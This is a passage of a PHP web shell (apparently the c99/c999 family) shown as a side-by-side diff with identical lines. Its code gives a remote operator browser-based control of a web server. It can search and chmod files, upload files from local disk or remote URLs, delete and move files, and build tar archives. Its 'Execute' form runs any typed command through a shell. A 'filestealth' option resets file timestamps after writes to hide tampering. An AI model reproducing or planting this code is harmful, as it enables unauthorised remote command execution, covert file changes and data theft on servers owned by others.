| 1675 | $disp_fullpath = TRUE; | 1675 | $disp_fullpath = TRUE; |
| 1676 | $act = "ls"; | 1676 | $act = "ls"; |
| 1677 | } | 1677 | } |
| 1678 | } | 1678 | } |
| 1679 | echo "<form method=POST> | 1679 | echo "<form method=POST> |
| 1680 | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> | 1680 | <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> |
| 1681 | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp | 1681 | <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp |
| 1682 | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> | 1682 | <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> |
| 1683 | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> | 1683 | <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> |
| 1684 | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp | 1684 | <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp |
| 1685 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only | 1685 | <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only |
| 1686 | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive | 1686 | <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive |
| 1687 | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text | 1687 | <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text |
| 1688 | <br><br><input type=submit name=submit value=\"Search\"></form>"; | 1688 | <br><br><input type=submit name=submit value=\"Search\"></form>"; |
| 1689 | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} | 1689 | if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} |
| 1690 | } | 1690 | } |
| 1691 | if ($act == "chmod") | 1691 | if ($act == "chmod") |
| 1692 | { | 1692 | { |
| 1693 | $mode = fileperms($d.$f); | 1693 | $mode = fileperms($d.$f); |
| 1694 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} | 1694 | if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} |
| 1695 | else | 1695 | else |
| 1696 | { | 1696 | { |
| 1697 | $form = TRUE; | 1697 | $form = TRUE; |
| 1698 | if ($chmod_submit) | 1698 | if ($chmod_submit) |
| 1699 | { | 1699 | { |
| 1700 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); | 1700 | $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); |
| 1701 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} | 1701 | if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} |
| 1702 | else {$err = "Can't chmod to ".$octet.".";} | 1702 | else {$err = "Can't chmod to ".$octet.".";} |
| 1703 | } | 1703 | } |
| 1704 | if ($form) | 1704 | if ($form) |
| 1705 | { | 1705 | { |
| 1706 | $perms = parse_perms($mode); | 1706 | $perms = parse_perms($mode); |
| 1707 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; | 1707 | echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; |
| 1708 | } | 1708 | } |
| 1709 | } | 1709 | } |
| 1710 | } | 1710 | } |
| 1711 | if ($act == "upload") | 1711 | if ($act == "upload") |
| 1712 | { | 1712 | { |
| 1713 | $uploadmess = ""; | 1713 | $uploadmess = ""; |
| 1714 | $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); | 1714 | $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); |
| 1715 | if (empty($uploadpath)) {$uploadpath = $d;} | 1715 | if (empty($uploadpath)) {$uploadpath = $d;} |
| 1716 | elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} | 1716 | elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} |
| 1717 | if (!empty($submit)) | 1717 | if (!empty($submit)) |
| 1718 | { | 1718 | { |
| 1719 | global $HTTP_POST_FILES; | 1719 | global $HTTP_POST_FILES; |
| 1720 | $uploadfile = $HTTP_POST_FILES["uploadfile"]; | 1720 | $uploadfile = $HTTP_POST_FILES["uploadfile"]; |
| 1721 | if (!empty($uploadfile["tmp_name"])) | 1721 | if (!empty($uploadfile["tmp_name"])) |
| 1722 | { | 1722 | { |
| 1723 | if (empty($uploadfilename)) {$destin = $uploadfile["name"];} | 1723 | if (empty($uploadfilename)) {$destin = $uploadfile["name"];} |
| 1724 | else {$destin = $userfilename;} | 1724 | else {$destin = $userfilename;} |
| 1725 | if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} | 1725 | if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} |
| 1726 | } | 1726 | } |
| 1727 | elseif (!empty($uploadurl)) | 1727 | elseif (!empty($uploadurl)) |
| 1728 | { | 1728 | { |
| 1729 | if (!empty($uploadfilename)) {$destin = $uploadfilename;} | 1729 | if (!empty($uploadfilename)) {$destin = $uploadfilename;} |
| 1730 | else | 1730 | else |
| 1731 | { | 1731 | { |
| 1732 | $destin = explode("/",$destin); | 1732 | $destin = explode("/",$destin); |
| 1733 | $destin = $destin[count($destin)-1]; | 1733 | $destin = $destin[count($destin)-1]; |
| 1734 | if (empty($destin)) | 1734 | if (empty($destin)) |
| 1735 | { | 1735 | { |
| 1736 | $i = 0; | 1736 | $i = 0; |
| 1737 | $b = ""; | 1737 | $b = ""; |
| 1738 | while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} | 1738 | while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} |
| 1739 | } | 1739 | } |
| 1740 | if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} | 1740 | if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} |
| 1741 | else | 1741 | else |
| 1742 | { | 1742 | { |
| 1743 | $st = getmicrotime(); | 1743 | $st = getmicrotime(); |
| 1744 | $content = @file_get_contents($uploadurl); | 1744 | $content = @file_get_contents($uploadurl); |
| 1745 | $dt = round(getmicrotime()-$st,4); | 1745 | $dt = round(getmicrotime()-$st,4); |
| 1746 | if (!$content) {$uploadmess .= "Can't download file!<br>";} | 1746 | if (!$content) {$uploadmess .= "Can't download file!<br>";} |
| 1747 | else | 1747 | else |
| 1748 | { | 1748 | { |
| 1749 | if ($filestealth) {$stat = stat($uploadpath.$destin);} | 1749 | if ($filestealth) {$stat = stat($uploadpath.$destin);} |
| 1750 | $fp = fopen($uploadpath.$destin,"w"); | 1750 | $fp = fopen($uploadpath.$destin,"w"); |
| 1751 | if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} | 1751 | if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} |
| 1752 | else | 1752 | else |
| 1753 | { | 1753 | { |
| 1754 | fwrite($fp,$content,strlen($content)); | 1754 | fwrite($fp,$content,strlen($content)); |
| 1755 | fclose($fp); | 1755 | fclose($fp); |
| 1756 | if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} | 1756 | if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} |
| 1757 | } | 1757 | } |
| 1758 | } | 1758 | } |
| 1759 | } | 1759 | } |
| 1760 | } | 1760 | } |
| 1761 | } | 1761 | } |
| 1762 | if ($miniform) | 1762 | if ($miniform) |
| 1763 | { | 1763 | { |
| 1764 | echo "<b>".$uploadmess."</b>"; | 1764 | echo "<b>".$uploadmess."</b>"; |
| 1765 | $act = "ls"; | 1765 | $act = "ls"; |
| 1766 | } | 1766 | } |
| 1767 | else | 1767 | else |
| 1768 | { | 1768 | { |
| 1769 | echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> | 1769 | echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> |
| 1770 | Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br> | 1770 | Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br> or<br> |
| 1771 | Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> | 1771 | Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> |
| 1772 | Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> | 1772 | Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> |
| 1773 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> | 1773 | File-name (auto-fill): <input name=uploadfilename size=25><br><br> |
| 1774 | <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br> | 1774 | <input type=checkbox name=uploadautoname value=1 id=df4> convert file name to lovercase<br><br> |
| 1775 | <input type=submit name=submit value=\"Upload\"> | 1775 | <input type=submit name=submit value=\"Upload\"> |
| 1776 | </form>"; | 1776 | </form>"; |
| 1777 | } | 1777 | } |
| 1778 | } | 1778 | } |
| 1779 | if ($act == "delete") | 1779 | if ($act == "delete") |
| 1780 | { | 1780 | { |
| 1781 | $delerr = ""; | 1781 | $delerr = ""; |
| 1782 | foreach ($actbox as $v) | 1782 | foreach ($actbox as $v) |
| 1783 | { | 1783 | { |
| 1784 | $result = FALSE; | 1784 | $result = FALSE; |
| 1785 | $result = fs_rmobj($v); | 1785 | $result = fs_rmobj($v); |
| 1786 | if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} | 1786 | if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} |
| 1787 | } | 1787 | } |
| 1788 | if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} | 1788 | if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} |
| 1789 | $act = "ls"; | 1789 | $act = "ls"; |
| 1790 | } | 1790 | } |
| 1791 | if (!$usefsbuff) | 1791 | if (!$usefsbuff) |
| 1792 | { | 1792 | { |
| 1793 | if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} | 1793 | if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} |
| 1794 | } | 1794 | } |
| 1795 | else | 1795 | else |
| 1796 | { | 1796 | { |
| 1797 | if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } | 1797 | if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } |
| 1798 | elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} | 1798 | elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} |
| 1799 | elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} | 1799 | elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} |
| 1800 | if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} | 1800 | if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} |
| 1801 | elseif ($actpastebuff) | 1801 | elseif ($actpastebuff) |
| 1802 | { | 1802 | { |
| 1803 | $psterr = ""; | 1803 | $psterr = ""; |
| 1804 | foreach($sess_data["copy"] as $k=>$v) | 1804 | foreach($sess_data["copy"] as $k=>$v) |
| 1805 | { | 1805 | { |
| 1806 | $to = $d.basename($v); | 1806 | $to = $d.basename($v); |
| 1807 | if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} | 1807 | if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} |
| 1808 | if ($copy_unset) {unset($sess_data["copy"][$k]);} | 1808 | if ($copy_unset) {unset($sess_data["copy"][$k]);} |
| 1809 | } | 1809 | } |
| 1810 | foreach($sess_data["cut"] as $k=>$v) | 1810 | foreach($sess_data["cut"] as $k=>$v) |
| 1811 | { | 1811 | { |
| 1812 | $to = $d.basename($v); | 1812 | $to = $d.basename($v); |
| 1813 | if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} | 1813 | if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} |
| 1814 | unset($sess_data["cut"][$k]); | 1814 | unset($sess_data["cut"][$k]); |
| 1815 | } | 1815 | } |
| 1816 | c999_sess_put($sess_data); | 1816 | c999_sess_put($sess_data); |
| 1817 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} | 1817 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} |
| 1818 | $act = "ls"; | 1818 | $act = "ls"; |
| 1819 | } | 1819 | } |
| 1820 | elseif ($actarcbuff) | 1820 | elseif ($actarcbuff) |
| 1821 | { | 1821 | { |
| 1822 | $arcerr = ""; | 1822 | $arcerr = ""; |
| 1823 | if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} | 1823 | if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} |
| 1824 | else {$ext = ".tar.gz";} | 1824 | else {$ext = ".tar.gz";} |
| 1825 | if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} | 1825 | if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} |
| 1826 | $cmdline .= " ".$actarcbuff_path; | 1826 | $cmdline .= " ".$actarcbuff_path; |
| 1827 | $objects = array_merge($sess_data["copy"],$sess_data["cut"]); | 1827 | $objects = array_merge($sess_data["copy"],$sess_data["cut"]); |
| 1828 | foreach($objects as $v) | 1828 | foreach($objects as $v) |
| 1829 | { | 1829 | { |
| 1830 | $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); | 1830 | $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); |
| 1831 | if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} | 1831 | if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} |
| 1832 | if (is_dir($v)) | 1832 | if (is_dir($v)) |
| 1833 | { | 1833 | { |
| 1834 | if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} | 1834 | if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} |
| 1835 | $v .= "*"; | 1835 | $v .= "*"; |
| 1836 | } | 1836 | } |
| 1837 | $cmdline .= " ".$v; | 1837 | $cmdline .= " ".$v; |
| 1838 | } | 1838 | } |
| 1839 | $tmp = realpath("."); | 1839 | $tmp = realpath("."); |
| 1840 | chdir($d); | 1840 | chdir($d); |
| 1841 | $ret = myshellexec($cmdline); | 1841 | $ret = myshellexec($cmdline); |
| 1842 | chdir($tmp); | 1842 | chdir($tmp); |
| 1843 | if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} | 1843 | if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} |
| 1844 | $ret = str_replace("\r\n","\n",$ret); | 1844 | $ret = str_replace("\r\n","\n",$ret); |
| 1845 | $ret = explode("\n",$ret); | 1845 | $ret = explode("\n",$ret); |
| 1846 | if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} | 1846 | if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} |
| 1847 | foreach($sess_data["cut"] as $k=>$v) | 1847 | foreach($sess_data["cut"] as $k=>$v) |
| 1848 | { | 1848 | { |
| 1849 | if (in_array($v,$ret)) {fs_rmobj($v);} | 1849 | if (in_array($v,$ret)) {fs_rmobj($v);} |
| 1850 | unset($sess_data["cut"][$k]); | 1850 | unset($sess_data["cut"][$k]); |
| 1851 | } | 1851 | } |
| 1852 | c999_sess_put($sess_data); | 1852 | c999_sess_put($sess_data); |
| 1853 | if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} | 1853 | if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} |
| 1854 | $act = "ls"; | 1854 | $act = "ls"; |
| 1855 | } | 1855 | } |
| 1856 | elseif ($actpastebuff) | 1856 | elseif ($actpastebuff) |
| 1857 | { | 1857 | { |
| 1858 | $psterr = ""; | 1858 | $psterr = ""; |
| 1859 | foreach($sess_data["copy"] as $k=>$v) | 1859 | foreach($sess_data["copy"] as $k=>$v) |
| 1860 | { | 1860 | { |
| 1861 | $to = $d.basename($v); | 1861 | $to = $d.basename($v); |
| 1862 | if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} | 1862 | if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} |
| 1863 | if ($copy_unset) {unset($sess_data["copy"][$k]);} | 1863 | if ($copy_unset) {unset($sess_data["copy"][$k]);} |
| 1864 | } | 1864 | } |
| 1865 | foreach($sess_data["cut"] as $k=>$v) | 1865 | foreach($sess_data["cut"] as $k=>$v) |
| 1866 | { | 1866 | { |
| 1867 | $to = $d.basename($v); | 1867 | $to = $d.basename($v); |
| 1868 | if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} | 1868 | if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} |
| 1869 | unset($sess_data["cut"][$k]); | 1869 | unset($sess_data["cut"][$k]); |
| 1870 | } | 1870 | } |
| 1871 | c999_sess_put($sess_data); | 1871 | c999_sess_put($sess_data); |
| 1872 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} | 1872 | if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} |
| 1873 | $act = "ls"; | 1873 | $act = "ls"; |
| 1874 | } | 1874 | } |
| 1875 | } | 1875 | } |
| 1876 | if ($act == "cmd") | 1876 | if ($act == "cmd") |
| 1877 | { | 1877 | { |
| 1878 | if (trim($cmd) == "ps -aux") {$act = "processes";} | 1878 | if (trim($cmd) == "ps -aux") {$act = "processes";} |
| 1879 | elseif (trim($cmd) == "tasklist") {$act = "processes";} | 1879 | elseif (trim($cmd) == "tasklist") {$act = "processes";} |
| 1880 | else | 1880 | else |
| 1881 | { | 1881 | { |
| 1882 | @chdir($chdir); | 1882 | @chdir($chdir); |
| 1883 | if (!empty($submit)) | 1883 | if (!empty($submit)) |
| 1884 | { | 1884 | { |
| 1885 | echo "<b>Result of execution this command</b>:<br>"; | 1885 | echo "<b>Result of execution this command</b>:<br>"; |
| 1886 | $olddir = realpath("."); | 1886 | $olddir = realpath("."); |
| 1887 | @chdir($d); | 1887 | @chdir($d); |
| 1888 | $ret = myshellexec($cmd); | 1888 | $ret = myshellexec($cmd); |
| 1889 | $ret = convert_cyr_string($ret,"d","w"); | 1889 | $ret = convert_cyr_string($ret,"d","w"); |
| 1890 | if ($cmd_txt) | 1890 | if ($cmd_txt) |
| 1891 | { | 1891 | { |
| 1892 | $rows = count(explode("\r\n",$ret))+1; | 1892 | $rows = count(explode("\r\n",$ret))+1; |
| 1893 | if ($rows < 10) {$rows = 10;} | 1893 | if ($rows < 10) {$rows = 10;} |
| 1894 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; | 1894 | echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; |
| 1895 | } | 1895 | } |
| 1896 | else {echo $ret."<br>";} | 1896 | else {echo $ret."<br>";} |
| 1897 | @chdir($olddir); | 1897 | @chdir($olddir); |
| 1898 | } | 1898 | } |
| 1899 | else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} | 1899 | else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} |
| 1900 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; | 1900 | echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\"> Display in text-area <input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; |
| 1901 | } | 1901 | } |
| 1902 | } | 1902 | } |
| 1903 | if ($act == "ls") | 1903 | if ($act == "ls") |
| 1904 | { | 1904 | { |
| 1905 | if (count($ls_arr) > 0) {$list = $ls_arr;} | 1905 | if (count($ls_arr) > 0) {$list = $ls_arr;} |
| 1906 | else | 1906 | else |
| 1907 | { | 1907 | { |
| 1908 | $list = array(); | 1908 | $list = array(); |
| 1909 | if ($h = @opendir($d)) | 1909 | if ($h = @opendir($d)) |
| 1910 | { | 1910 | { |
| 1911 | while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} | 1911 | while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} |
| 1912 | closedir($h); | 1912 | closedir($h); |
| 1913 | } | 1913 | } |
| 1914 | else {} | 1914 | else {} |
| 1915 | } | 1915 | } |
| 1916 | if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} | 1916 | if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} |
| 1917 | else | 1917 | else |
| 1918 | { | 1918 | { |
| 1919 | //Building array | 1919 | //Building array |
| 1920 | $objects = array(); | 1920 | $objects = array(); |
| 1921 | $vd = "f"; //Viewing mode | 1921 | $vd = "f"; //Viewing mode |
| 1922 | if ($vd == "f") | 1922 | if ($vd == "f") |
| 1923 | { | 1923 | { |
| 1924 | $objects["head"] = array(); | 1924 | $objects["head"] = array(); |
| 1925 | $objects["folders"] = array(); | 1925 | $objects["folders"] = array(); |
| 1926 | $objects["links"] = array(); | 1926 | $objects["links"] = array(); |
| 1927 | $objects["files"] = array(); | 1927 | $objects["files"] = array(); |
| 1928 | foreach ($list as $v) | 1928 | foreach ($list as $v) |
| 1929 | { | 1929 | { |
| 1930 | $o = basename($v); | 1930 | $o = basename($v); |
| 1931 | $row = array(); | 1931 | $row = array(); |
| 1932 | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} | 1932 | if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} |
| 1933 | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} | 1933 | elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} |
| 1934 | elseif (is_dir($v)) | 1934 | elseif (is_dir($v)) |
| 1935 | { | 1935 | { |
| 1936 | if (is_link($v)) {$type = "LINK";} | 1936 | if (is_link($v)) {$type = "LINK";} |
| 1937 | else {$type = "DIR";} | 1937 | else {$type = "DIR";} |
| 1938 | $row[] = $v; | 1938 | $row[] = $v; |
| 1939 | $row[] = $type; | 1939 | $row[] = $type; |
